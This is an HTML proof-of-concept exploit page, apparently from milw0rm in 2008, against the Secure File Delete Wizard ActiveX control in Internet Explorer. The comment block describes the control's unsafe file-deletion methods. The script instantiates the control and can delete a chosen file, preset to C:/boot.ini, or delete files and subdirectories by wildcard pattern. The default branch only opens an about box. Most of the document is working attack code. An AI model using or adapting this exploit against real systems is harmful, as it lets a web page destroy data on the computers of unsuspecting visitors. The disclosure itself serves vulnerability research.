<HTML>
<!--

	- Secure File Delete Wizard <= 2.0.0 (SecureFileDeleteWizard.ocx)  Remote File Deletetion/Insecure Method Exploit -
	
		Author: t0pP8uZz
		Homepage: h4ck-y0u.org / milw0rm.com
		Description: ActiveX Remote Insecure/File Deletion
		
		Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched
		
		ActiveX: http://www.componentsource.com/products/seekford-secure-file-delete-wizard/downloads.html?rv=28108
	
		The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions.
			
		InternetExplorer can Initialise this ActiveX control, And take advantage of its functions.
		Included in this exploit (POC) is a peice of javascript code lauching the ActiveX control, and executing one of its functions.
		
		object.AboutBox() - Shows the about dialog - POC
		object.DeleteFile(string path, int pass) - Deletes arg1, int passes
		object.DeleteFiles(string path, string pattern, boolean deletesub, int passes) - Search's arg1 for arg2 pattern, and deletes all folders/files
		
-->
<OBJECT ID="filedel" CLASSID="CLSID:13B1B660-6516-4C8A-93C3-50E7EF524CFA">Could Not Load ActiveX Control.</OBJECT>
<script language="javascript">
/* - Secure File Delete Wizard <= 2.0.0 (SecureFileDeleteWizard.ocx)  Remote File Deletetion/Insecure Method Exploit - */
/*                       Javascript Code By t0pP8uZz                        */

var file    = "C:/boot.ini"; // local path to file for deletion
var pattern = "file*.txt"; // optional - if using DeleteFiles() then a pattern needs to be here, ie: file.*, * is a wildcard
var delsubs = true; // optional - if using DeleteFiles() then if set to true subdirectorys and files will be delete, if set to false the files will remain in tact

Exploit("AboutPOC"); // args: DeleteFile, DeleteFiles, AboutPOC

function Exploit(type) {

	switch(type) {
	
		case "DeleteFile":
			filedel.DeleteFile(file, 3);
			break
			
		case "DeleteFiles":
			filedel.DeleteFiles(file, pattern, delsubs, 3);
			break
			
		case "AboutPOC":
		default:
			filedel.AboutBox();
			break;
	}
	alert("Exploit Successfull!")
};

</script>
</HTML>

# milw0rm.com [2008-05-09]